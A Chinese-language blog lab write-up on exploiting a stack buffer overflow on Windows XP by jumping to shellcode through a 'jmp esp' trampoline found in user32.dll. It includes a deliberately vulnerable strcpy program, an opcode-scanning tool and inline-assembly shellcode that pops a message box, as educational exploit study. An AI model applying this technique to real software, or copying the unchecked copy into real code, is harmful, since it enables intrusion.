栈溢出 利用jmp esp绕过栈帧移位

实验代码

#include<stdio.h>
#include<windows.h>
#define PASSWORD "1234567"
int verify_password(char *password)
{
    
    
	int authenticated;
	char buffer[44];
	authenticated = strcmp(password,PASSWORD);
	strcpy(buffer,password);//overflowed
	return authenticated;
}
void main()
{
    
    
	int valid_flag=0;
	char password[1024];
	FILE *fp;
	LoadLibrary("user32.dll");
	if(!(fp = fopen("C:\\Documents and Settings\\Administrator\\桌面\\cpp3\\password.txt","rw+")))
	{
    
    
		exit(0);
	}
	fscanf(fp,"%s",password);
	valid_flag = verify_password(password);
	if(valid_flag)
	{
    
    
		printf("incorrect password!\n");
	}
	else
	{
    
    
		printf("Congratulation! You have passed the verification!\n");
	}
	fclose(fp);
}

实验目的

运用jmp esp的方案对shellcode进行动态定位

实验环境

环境:windows xp
编译器:vc++
调试器:OD

实验过程

1.首先因为我们要运用到jmp esp,因此从程序导入的dll中寻找跳板,使程序能直接跳到shellcode

#include<windows.h>
#include<stdio.h>
#define DLL_NAME "user32.dll"
void main()
{
    
    
	BYTE* ptr;
	int position;
	HINSTANCE handle;
	BOOL done_flag = FALSE;
	handle = LoadLibrary(DLL_NAME);
	if(!handle)
	{
    
    
		printf("load erro");
		exit(0);
	}
	ptr = (BYTE*)handle;

	for(position=0; !done_flag;position++)
	{
    
    
		try
		{
    
    
			if(ptr[position] == 0xFF && ptr[position + 1] == 0xE4)
			{
    
    
				int address = (int)ptr + position;//FFE4就是jmp esp
				printf("OPCODE at 0x%x\n",address);
			}
		}
		catch(...)
		{
    
    
			int address = (int)ptr + position;
			printf("END 0x%x\n",address);
			done_flag = true;
		}
	}
}

运行结果就找到了程序中能作为跳板的一些地址

在这里插入图片描述
2.参照前一节的写一段shellcode,其中exitprocess的地址与上一节中查找Massage的方式类似,使用vc++自带的Depend查找。

#include<windows.h>
void main()
{
    
    
	HINSTANCE LibHandle;
	char dllbuf[11] = "user32.dll";
	LibHandle = LoadLibrary(dllbuf);
	_asm{
    
    
		sub sp,0x440//一个标记方便等下在OD里面找
		xor ebx,ebx
		push ebx//这段代码不知道是什么意思,但是如果不往上添加一层00的
		//话,这个窗口就没有办法弹出,调了好久都没调清楚。以后有空就调
		//有大佬清楚能给我讲讲也好
		//初步猜测是建立缓冲区保护数据
		push 0x74736577
		push 0x6c696166
		mov eax,esp
		push ebx
		push eax
		push eax
		push ebx
		mov eax,0x77D507EA//Massage
		call eax
		push ebx
		mov eax,0x7C81CB12//exitprocess
		call eax
	}
}

然后拖进OD中,根据第一条指令找到该代码段,再导入到文件中
在这里插入图片描述
导入文件再把机器码输入验证用的txt,其中第一步找到的jmp esp跳板地址就放在函数栈帧的下面,让函数返回的时候直接调用这条指令。

在这里插入图片描述
3.程序成功的弹出窗口,并成功退出

在这里插入图片描述

实验原理

为了避免函数中的栈帧随机化,如果使用固定栈帧地址的话,难免会有地址无效化的情况。因此可以寻找jmp esp这种指令(也能使用其他跳转)当跳板使函数固定跳到栈顶。就不用考虑地址随机化的问题,只需要使代码的开头对齐栈顶就行了。如果程序不让精准定位shellcode可以用nop来扩大shellcode的范围。如果是程序返回地址不定可以使用一长串ret指令来覆盖正确的返回地址。

猜你喜欢

转载自blog.csdn.net/Misaka10046/article/details/108609795